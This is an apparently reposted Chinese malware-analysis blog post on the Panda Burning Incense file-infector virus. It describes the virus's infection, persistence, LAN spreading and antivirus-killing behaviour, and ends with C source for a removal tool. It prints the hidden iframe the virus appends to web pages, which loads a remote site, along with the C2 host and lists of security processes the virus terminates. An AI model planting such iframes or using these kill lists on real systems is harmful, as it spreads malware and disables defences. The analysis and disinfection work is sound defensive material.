来源:互联网转载 | 更新日期:2023-09-06 11:22:20
最近忙里偷闲,将自己分析过的一些病毒记录一下,一是给刚入门的小白有个借鉴,二是不让自己写博客的习惯停下来。
| FileName | panda.exe |
| Type | 感染型病毒 |
| Size | 30001 bytes |
| MD5 | 512301C535C88255C9A252FDF70B7A03 |
| SHA-1 | CA3A1070CFF311C0BA40AB60A8FE3266CFEFE870 |
| 加壳 | fsg v2.0 |
该样本为经典的熊猫烧香病毒,是一款感染型病毒,能够感染全盘指定类型的文件,修改文件数据和图标,同时可以在局域网内进行横向传播以及作为Downloader下载恶意数据执行,并且具有对抗杀软和长久驻留系统的能力。
1)感染全盘二进制文件(exe、src、PIF、com)、脚本文件(htm、html、asp、php、jsp、aspx)
2)添加spo0lsv.exe到注册表自启动项HKCU\~\Run
3)修改注册表CheckedValue=1强制系统隐藏文件不显示
4)局域网内横向传播,尝试弱口令登录
5)连接恶意C2下载数据并隐藏执行
6)关闭杀软、删除杀软服务、删除杀软自启动项
7)禁用注册表、任务管理器等系统管理软件
8)释放自启动脚本autorun.inf和setup.exe,每隔6执行
9)全盘全目录写入Desktop_.ini并写入感染日期
1、进程和线程
退出当前进程后启动spo0lsv.exe继续执行
spo0lsv.exe创建了大量线程
2、注册表
添加注册表自启动项,同时禁用注册表。
设置系统隐藏目录和文件不显示。
3、文件操作
全盘释放Desktop_.ini,释放setup.exe、autorun.inf
Desktop_.ini写入当前感染日期
C盘根目录下生成两个隐藏的病毒自启动文件setup.exe、autorun.inf
感染全盘exe文件,修改图标
EXE尾部感染特征
感染HTML文件
HTML尾部感染特征
释放源文件到C:\Windows\System32\drivers\spo0lsv.exe
4、网络行为
连接恶意C2
尝试局域网横向传播
脱fsg壳的关键在于最后修复错误的IAT地址。
硬件断点
硬断断下向上找jmp大跳,F2断点执行过去
dump点,OEP
导入表不对,修复IAT,OD中跳转到4101E8,将错误的地址改为0
Import REC重新载入保存即可
样本大致逻辑如下,前面为作者的自言自语、判断文件是否被修改过和变量初始化,图中标注的三个函数为病毒的恶意逻辑,也是下面要重点分析的部分。
病毒执行后释放文件到 C:\Windows\System32\drivers\spo0lsv.exe,并创建进程执行该文件,随后退出自身进程。其中病毒会有一个判断逻辑,如果当前进程的文件路径并非在System32目录下,则退出当前进程,释放spo0lsv.exe文件并执行之。
样本的感染功能通过3个函数实现,包括全盘感染和局域网感染,感染类型又分为二进制文件和脚本文件,同时定时函数会每隔6秒通过autorun.inf来启动setup.exe,实现病毒的定时执行。
| 二进制文件 | exe、src、pif、com |
| 脚本文件 | htm、html、asp、php、jsp、aspx |
感染逻辑开始执行时,首先会排除一些系统运行相关的重要目录不进行感染
| 下列目录不进行感染 | |
| WINDOWS | WINNT |
| system32 | Documents and Settings |
| System Volume Information | Recycled |
| Windows NT | WindowsUpdate |
| Windows Media Player | Outlook Express |
| Internet Explorer | NetMeeting |
| Common Files | ComPlus Applications |
| Common Files | Messenger |
| InstallShield Installation Information | Microsoft Frontpage |
| Movie Maker | MSN Gamin Zone |
遍历到目录的时候,如果当前目录下存在Desktop_.ini文件,则将当前感染日期写入,如果不存在则新建该文件。
为防止用户通过GHO恢复系统,会删除目录下的GHO文件。
当判断文件的类型为二进制文件时,则执行二进制文件的感染逻辑。感染过程相对简单,具体步骤为:先将目标文件读入内存并保存其数据,然后将病毒源文件复制到内存同一地址覆盖目标文件,再将目标文件的源文件追加写入病毒数据的后面,最后添加感染标识,感染标识的格式为“.WhBoy文件名.后缀.后缀.随机数字(5-6位).”。
通过获取系统时间设置随机种子,获取目标文件。
具体感染步骤如下,已感染过的文件不会进行再次感染。
以exe文件来说,感染后的文件结构如下,大致分为三部分。
对脚本文件的感染相对来说简单的很,只是在文件尾部追加一句 <iframe src=http://www.ac86.cn/66/index.htm width="0" height="0"></iframe>
以HTML文件举例来说,感染后的文件结构如下图。
为防止自身进程被关闭,病毒会通过定时执行脚本的方法来实现定时启动,实现的具体步骤为检查根目录下是否存在setup.exe和autorun.inf,不存在则释放这俩文件并设置隐藏属性,然后向autorun文件中写入自启动脚本,定时执行。
为了最大化造成破坏,局域网传播也是此类病毒的惯用手法,最常被利用的就是139和445这两个TCP端口。139端口的通信过程是通过SMB(服务器信息块)协议实现的,其具体过程为:首先取得通信对象的IP地址,然后向通信对象发出开始通信的请求。如果对方充许进行通信,就会确立会话层,并使用它向对方发送用户名和密码信息,进行认证。如果认证成功,就可以访问对方的共享文件。445端口的协议尽管不同,但是作用相同,区别是当139和445端口同时打开的话,网络文件共享优先使用445端口。
该样本同样对139和445端口进行了检测,如果检测到端口开放,则尝试弱口令登录,一旦登陆成功则感染网络共享文件,可想而知该样本在当年安全意识薄弱的大环境下,传播速度是多么恶心。
第三个恶意逻辑主要实现了一些自我保护手段,比如关闭杀软进程、删除杀软服务、设置注册表自启动、设置注册表隐藏项、下载恶意文件执行、停止网络共享等,基本功能函数如下图。
遍历关闭杀毒软件窗口
遍历关闭杀毒软件进程
禁用注册表和任务管理器
| 关闭杀毒软件窗口 |
| 防火墙、进程、VirusScan、NOD32、网镖、杀毒、毒霸、瑞星、江民、超级兔子、优化大师、木马清道夫、木馬清道夫、卡巴斯基反病毒、Symantec AntiVirus、Duba、esteem procs、绿鹰PC、密码防盗、噬菌体、木马辅助查找器、System Safety Monitor、Wrapped giftKiller、Winsock、Expert、msctls_statusbar32、超级巡警、游戏木马检测大师、pjf(ustc)、IceSword |
| 关闭杀毒软件进程 |
| Mcshield.exe、VsTskMgr.exe、naPrdMgr.exe、UpdaterUI.exe、TBMon.exe、scan32.exe、Ravmond.exe、Ccenterexe、RavTask.exe、Rav.exe、Ravmon.exe、RavmonD.exe、RavStub.exe、KVXP.kxp、KvMonXP.kxp、KVCenter.kxp、KVSrvXP.exe、KRegEx.exe、UIHost.exe、TrojDiekxp、FrogAgent.exe、Logo1_.exe、Logo_1.exe、Rundl132.exe、regedit.exe、msconfig.exe、taskmgr.exe |
专杀工具由C语言编写,大致逻辑对应了上述查杀思路,针对受感染文件根据上面分析得到的感染后结构图进行逆向处理,将原始文件剥离出来即可。
使用方法:运行KillPanda.exe后选择病毒源文件点击确定即可,等待杀毒完毕,可查看简单的杀毒情况,如下演示。
如下为测试文件,包含了样本会感染的所有文件类型。
测试文件
首先执行病毒,让其运行一段时间,可见所有测试文件均被感染。
然后运行专杀工具KillPanda.exe,选择病毒源文件,点击确定开始查杀。
查杀过程
查杀结果
修复效果
注意:
由于时间问题该工具并未提供太多的交互细节,默认的是遍历C、D盘进行查杀,有需要可以自行修改代码添加其他盘符执行修复,源码见附。
熊猫烧香原作者为湖北李俊,后被捕入狱,该样本也衍生了大量的新版本,但核心恶意逻辑基本相同,在如今的电脑上基本逃不过主流杀软的检测。
执行下载的网址为www.ac86.cn,IP为15.164.151.80,归属地韩国首尔。
相关MD5
| c971a9426b79e58174c986d1d83652e4 |
| c2ab3350ffa681753851820cf6783ee3 |
| 9aaff9869da5d3201dc3d34d3455acee |
| b4bf0edae88010e9e3d2061941cd28d0 |
| ca0ea7b2a7002715071cc6954c5adbd0 |
| 539af15ae47eb7eee5adb634a6eef1af |
| 5e4ed60fad58151a9e315fb6f70f4e37 |
| e2ccfeb6bb4efb30fe5318f2480140e2 |
| 0ca507a964adfac44d39cd692a2f3e08 |
| 0fa38dbb42e670da3dadd8b62400117e |
| 91350bf5502c67fa8d2bb25027788def |
| 9083de14e99885968080cbec9429f2eb |
| 1ebb3a636cbeaadbfdd403f4421001e5 |
| 9eea3b1ae8801e501527eaadc529dc61 |
| 26bc4086ff2fb55883b621fd3b2f56c5 |
| a81c5fb25c80a01faf5512eb9387cab2 |
| 2d5e2810b08b83d1b4240fe59ccf25ae |
| 3144d3a3f3fcfd82cc8766c34b681b1e |
| 33543e14b5237a53d5b49154ae545ab1 |
病毒本身很简单,没啥分析难度,其特点在于感染之后的顽固性,能够实现系统的长久驻留,在此提醒用户安装正规厂商的杀毒软件,不要随意下载和执行来历不明的文件,定期杀毒并且允许自动更新病毒库,重视自身的数据安全。
附:
#include <stdio.h> #include <stdlib.h> #include <windows.h> #include <Tlhelp32.h> #pragma warning(disable : 4996)// 3个全局变量用于最后的杀毒报告 int FixBinaryFileNumber = 0; int FixScriptFileNumber = 0; int DelDesktop_iniFileNumber = 0; int SizeOfVirusFile_Bytes = 0; char path[MAX_PATH]; // 保存病毒文件路径// 结束指定进程,参数为目标进程字符串 BOOL KillPandaProcess(const char *pszProcessName) {BOOL bKill = FALSE;HANDLE hProcess;HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (hProcessSnap == INVALID_HANDLE_VALUE) // 如果获取进程快照失败,返回 FALSE{return bKill;}PROCESSENTRY32 pe = { 0 };pe.dwSize = sizeof(pe);BOOL bRet = Process32First(hProcessSnap, &pe); // 获取第一个进程while (bRet){if (strcmp(pe.szExeFile, pszProcessName) == 0){bKill = TRUE;hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pe.th32ProcessID);int ret = TerminateProcess(hProcess, 1); // 终止进程if (ret){printf("Yeah!Panda's Process is dead!\n\n");}else{printf("OMG!Panda is still alive!\n\n");}break;}bRet = Process32Next(hProcessSnap, &pe);}CloseHandle(hProcessSnap);return bKill; }// 修复注册表 void FixReg() {// 删除svcsharechar RegRun[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";HKEY hKeyHKCU = NULL;LONG lSize = MAXBYTE;char cData[MAXBYTE] = { 0 };long lRet = RegOpenKey(HKEY_CURRENT_USER, RegRun, &hKeyHKCU);if (lRet == ERROR_SUCCESS){lRet = RegQueryValueEx(hKeyHKCU, "svcshare", NULL, NULL, (unsigned char *)cData, (unsigned long *)&lSize);if (lRet == ERROR_SUCCESS){if (strcmp(cData, "C:\\WINDOWS\\system32\\drivers\\spo0lsv.exe") == 0){printf("Find virus AutorunRegInfo!\n\n");}lRet = RegDeleteValue(hKeyHKCU, "svcshare");if (lRet == ERROR_SUCCESS){printf("Panda's RegItem has beed deleted!\n\n");}else{printf("Panda's RegItem is still alive or is gone!\n\n");}}else{printf("Reg is clear!\n\n");}RegCloseKey(hKeyHKCU);}else{printf("Open Reg failed!\n\n");}// 修复文件的隐藏显示,将CheckedValue的值设置为1char RegHide[] = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\SHOWALL";HKEY hKeyHKLM = NULL;DWORD dwFlag = 1;long lRetHide = RegOpenKey(HKEY_LOCAL_MACHINE, RegHide, &hKeyHKLM);if (lRetHide == ERROR_SUCCESS){if (ERROR_SUCCESS == RegSetValueEx(hKeyHKLM, //subkey handle "CheckedValue", //value name 0, //must be zero REG_DWORD, //value type (CONST BYTE*)&dwFlag, //pointer to value data 4)) //length of value data{printf("Reg fixed!\n\n");}else{printf("Can't fix RegHiddenItem or it's clear!\n\n");}}}// 删除指定文件 BOOL DelSPacificFile(const char * FileName) {// 去除文件的隐藏、系统以及只读属性DWORD dwFileAttributes = GetFileAttributes(FileName); // 获取文件属性dwFileAttributes &= ~FILE_ATTRIBUTE_HIDDEN; // &=~ 是去掉属性,| 是增加属性 ==== 这里就是去掉隐藏、系统、只读3个属性dwFileAttributes &= ~FILE_ATTRIBUTE_SYSTEM;dwFileAttributes &= ~FILE_ATTRIBUTE_READONLY;SetFileAttributes(FileName, dwFileAttributes);int delRet = DeleteFile(FileName); // 删除文件if (delRet){printf("File %s has been Deleted!\n\n", FileName);return TRUE;}else{printf("File %s is still alive! MayBe it has been deleted!\n\n", FileName);return FALSE;} }// 判断文件是否为指定二进制文件 bool IsEXE(const char* pFileName) {const char* pTemp = pFileName; // 从第一个字符开始,不断比对剩下的字符串while (*pTemp != 0x00) // 注意PIF为大写{if (!strcmp(pTemp, ".exe") || !strcmp(pTemp, ".PIF") || !strcmp(pTemp, ".com") || !strcmp(pTemp, ".src")){return true;}++pTemp;}return false; }// 判断文件是否为指定脚本 bool IsHTML(const char* pFileName) {const char* pTemp = pFileName;while (*pTemp != 0x00){if (!strcmp(pTemp, ".html") || !strcmp(pTemp, ".htm") || !strcmp(pTemp, ".asp") || !strcmp(pTemp, ".php") || !strcmp(pTemp, ".jsp") || !strcmp(pTemp, ".aspx")){return true;}++pTemp;}return false; }// 根据路径名返回文件名 char *GetFilename(char *p) {int x = strlen(p);char ch = '\\';char *q = strrchr(p, ch) + 1;return q; }// 修复感染二进制文件 BOOL FixBinaryFile(char* pStrFilePath) {CHAR* pFilebuf = NULL;HANDLE hFile = CreateFile(pStrFilePath, // 打开受感染文件GENERIC_READ | GENERIC_WRITE,FALSE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);if (hFile == INVALID_HANDLE_VALUE){MessageBoxA(NULL, "Open infected file failed!", "WTF!", NULL);return 0;}DWORD FileSize = GetFileSize(hFile, NULL); // 获取感染后文件大小pFilebuf = new CHAR[FileSize]{}; // 申请个数组用来保存DWORD dwCount = 1;BOOL bRet = ReadFile(hFile, pFilebuf, FileSize, &dwCount, NULL); // 将感染文件读入内存if (!bRet) // 读取出现错误{CloseHandle(hFile);delete pFilebuf;return FALSE;}char* pFileOffset = pFilebuf + SizeOfVirusFile_Bytes; // 被感染文件的前面,0x7531为病毒源文件大小,1ffff字节为病毒脱壳后的文件char *p = pStrFilePath;int FileNameLength = strlen(GetFilename(p)); // 获取文件名长度SetFilePointer(hFile, 0, 0, FILE_BEGIN); // 0x7531是病毒的大小WriteFile(hFile, pFileOffset, FileSize - SizeOfVirusFile_Bytes - FileNameLength - 2, &dwCount, NULL); // 感染标志的长度影响因子为目标文件的文件名长度SetEndOfFile(hFile);FixBinaryFileNumber++; // 计数器统计修复个数CloseHandle(hFile);delete[] pFilebuf;return TRUE; }// 修复感染脚本文件 bool FixScriptFile(const char* pstrFilePath) {CHAR* pFilebuf = NULL;HANDLE hFile = CreateFile(pstrFilePath,GENERIC_READ | GENERIC_WRITE,FALSE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);if (hFile == INVALID_HANDLE_VALUE){MessageBoxA(NULL, "Open file failed!", "WTF", NULL);return 0;}DWORD FileSize = GetFileSize(hFile, NULL);pFilebuf = new CHAR[FileSize]{};DWORD dwCount = 1;BOOL bRet = ReadFile(hFile, pFilebuf, FileSize, &dwCount, NULL); // 文件读入内存if (!bRet){CloseHandle(hFile);delete pFilebuf;return FALSE;}char* pFileOffset = pFilebuf;SetFilePointer(hFile, 0, 0, FILE_BEGIN);WriteFile(hFile, pFilebuf, FileSize - 76, &dwCount, NULL); // 删除最后75个字节SetEndOfFile(hFile);FixScriptFileNumber++; // 计数器统计修复个数CloseHandle(hFile);delete[] pFilebuf;return TRUE; }// 将文件读入内存并获取大小 char* GetFileBuf(char* pstrFilePath, _Out_ DWORD* FileSize) {char* pFilebuf = NULL;//打开文件获取句柄HANDLE hFile = CreateFile(pstrFilePath,GENERIC_READ,FALSE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);if (hFile == INVALID_HANDLE_VALUE){printf("File Open Faild!\n\n");return 0;}//获取文件大小*FileSize = GetFileSize(hFile, NULL);pFilebuf = new char[*FileSize]{};//读文件DWORD dwCount = 1;BOOL bRet = ReadFile(hFile, pFilebuf, *FileSize, &dwCount, NULL);if (bRet){CloseHandle(hFile);return pFilebuf;}//释放资源CloseHandle(hFile);delete pFilebuf;return 0;}// 是否是被感染的二进制文件,被感染文件最后一个字节为01,向前找到00的后五个字节是WhBoy bool IsInfectedBinaryFile(char* pstrFilePath) {CHAR* pFileBuf = NULL;DWORD dwFileSize = 0;pFileBuf = GetFileBuf(pstrFilePath, &dwFileSize);if (pFileBuf == 0){return false;}BYTE* pFileOffset = (BYTE*)pFileBuf;*pFileOffset;pFileOffset += (dwFileSize - 1);if (*pFileOffset != 0x01) // 判断是否为0x01,不是的话就没感染{delete[] pFileBuf;return false;}while (*pFileOffset != 0x00){--pFileOffset;}pFileOffset++;CHAR temp[6] = { 0 };memcpy_s(temp, 5, pFileOffset, 5);if (!strcmp(temp, "WhBoy")){delete[] pFileBuf;return true;}delete[] pFileBuf;return false; }// 是否是被感染的脚本文件 bool IsInfectedScriptFIle(char* pstrFilePath) {CHAR* pFileBuf = NULL;DWORD dwFileSize = 0;pFileBuf = GetFileBuf(pstrFilePath, &dwFileSize);if (pFileBuf == 0){return 0;}BYTE* pFileOffset = (BYTE*)pFileBuf;*pFileOffset;pFileOffset += (dwFileSize - 64);CHAR temp[32] = { 0 };memcpy_s(temp, 31, pFileOffset, 31);if (!lstrcmp(temp, "http://www.ac86.cn/66/index.htm")){delete[] pFileBuf;return TRUE;}delete[] pFileBuf;return FALSE; }// 遍历全盘修复文件 DWORD WINAPI Delini_FixInfectedFiles(const char* lpszPath) {WIN32_FIND_DATA stFindFile;HANDLE hFindFile;char szPath[MAX_PATH];char szFindFile[MAX_PATH];char szSearch[MAX_PATH];const char *szFilter;int len;int ret = 0;szFilter = "*.*";strcpy(szPath, lpszPath);len = lstrlen(szPath);if (szPath[len - 1] != '\\'){szPath[len] = '\\';szPath[len + 1] = '\0';}strcpy(szSearch, szPath);strcat(szSearch, szFilter);hFindFile = FindFirstFile(szSearch, &stFindFile);if (hFindFile != INVALID_HANDLE_VALUE){do{strcpy(szFindFile, szPath);strcat(szFindFile, stFindFile.cFileName);if (stFindFile.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY){if (stFindFile.cFileName[0] != '.'){Delini_FixInfectedFiles(szFindFile);}}else{if (!strcmp(stFindFile.cFileName, "Desktop_.ini")) // 删除Desktop_.ini{DWORD dwFileAttributes = GetFileAttributes(szFindFile); // 去除文件的隐藏、系统以及只读属性dwFileAttributes &= ~FILE_ATTRIBUTE_HIDDEN;dwFileAttributes &= ~FILE_ATTRIBUTE_SYSTEM;dwFileAttributes &= ~FILE_ATTRIBUTE_READONLY;SetFileAttributes(szFindFile, dwFileAttributes);BOOL bRet = DeleteFile(szFindFile);if (bRet){printf("\"%s\"_____deleted!\n", szFindFile);DelDesktop_iniFileNumber++; // 计数器统计个数}else{printf("Deleted \"%s\" failed!\n", szFindFile);}}else if (IsEXE(stFindFile.cFileName)) //判断是否是二进制文件{if (IsInfectedBinaryFile(szFindFile)){// printf("%s infected!\n", szFindFile);if (FixBinaryFile(szFindFile)){printf("\"%s\"_____fixed!\n", szFindFile);}else{printf("Fix \"%s\" failed!\n", szFindFile);}}else{printf("\"%s\"_____healthy!\n\n", szFindFile);}}else if (IsHTML(stFindFile.cFileName)) //判断是否是脚本文件{if (IsInfectedScriptFIle(szFindFile)){// printf("%s infected!\n", szFindFile);if (FixScriptFile(szFindFile)){printf("\"%s\"_____fixed!\n", szFindFile);}else{printf("Fix \"%s\" failed!!!!!\n", szFindFile);}}else{printf("\"%s\"_____healthy!\n", szFindFile);}}}ret = FindNextFile(hFindFile, &stFindFile);} while (ret != 0);}FindClose(hFindFile);return 0; }// 选择病毒源文件,获取病毒源文件大小 void SelectVirusFile_GetVirusSize() {// 选择Virus文件OPENFILENAMEA ofn;memset(path, 0, MAX_PATH);memset(&ofn, 0, sizeof(ofn));ofn.lStructSize = sizeof(ofn);ofn.lpstrFile = path; // pathofn.nMaxFile = MAX_PATH;ofn.lpstrFilter = "*.exe\0*.exe\0";ofn.Flags = OFN_PATHMUSTEXIST | OFN_FILEMUSTEXIST;if (!GetOpenFileName(&ofn)) { // 如果打开文件错误MessageBox(NULL, "Open file failed!", NULL, MB_OK);exit(0); // 退出所有进程}// 获取文件句柄,映射到内存HANDLE hFile = CreateFileA(path, GENERIC_ALL, 3u, NULL, OPEN_EXISTING, 0x80u, 0); // path,第一个3u表示共享读写DWORD dwFileSize = GetFileSize(hFile, NULL); // 获取文件大小SizeOfVirusFile_Bytes = dwFileSize; }int main() {SelectVirusFile_GetVirusSize(); // 选择病毒文件,获取其大小FixReg(); // 修复注册表KillPandaProcess("spo0lsv.exe"); // 结束病毒进程DelSPacificFile("C:\\autorun.inf"); // 删除C盘根目录下的文件DelSPacificFile("C:\\setup.exe");DelSPacificFile("C:\\Windows\\System32\\drivers\\spo0lsv.exe");Delini_FixInfectedFiles("C:"); // 执行C盘感染修复Delini_FixInfectedFiles("D:"); // 执行D盘感染修复// Delini_FixInfectedFiles("C:"); // 自行添加printf("\n==================YOUR PC IS CLEAR !=====================\n");printf("\n*********************** REPORT **************************\n");// 修复报告printf("The size of Virus file is %d bytes\n", SizeOfVirusFile_Bytes);printf("Fix binary files :%d \n", FixBinaryFileNumber);printf("Fix script files :%d \n", FixScriptFileNumber);printf("Del Desktop_.ini :%d \n", DelDesktop_iniFileNumber);printf("*********************** REPORT **************************\n\n");// 修复报告system("pause");return 0; }
上一篇:shutdown命令 关机与重启
下一篇:oracle客户端的安装教程
Copyright © 网站出售-网站交易平台 版权信息
网站备案号:黔ICP备2023004141号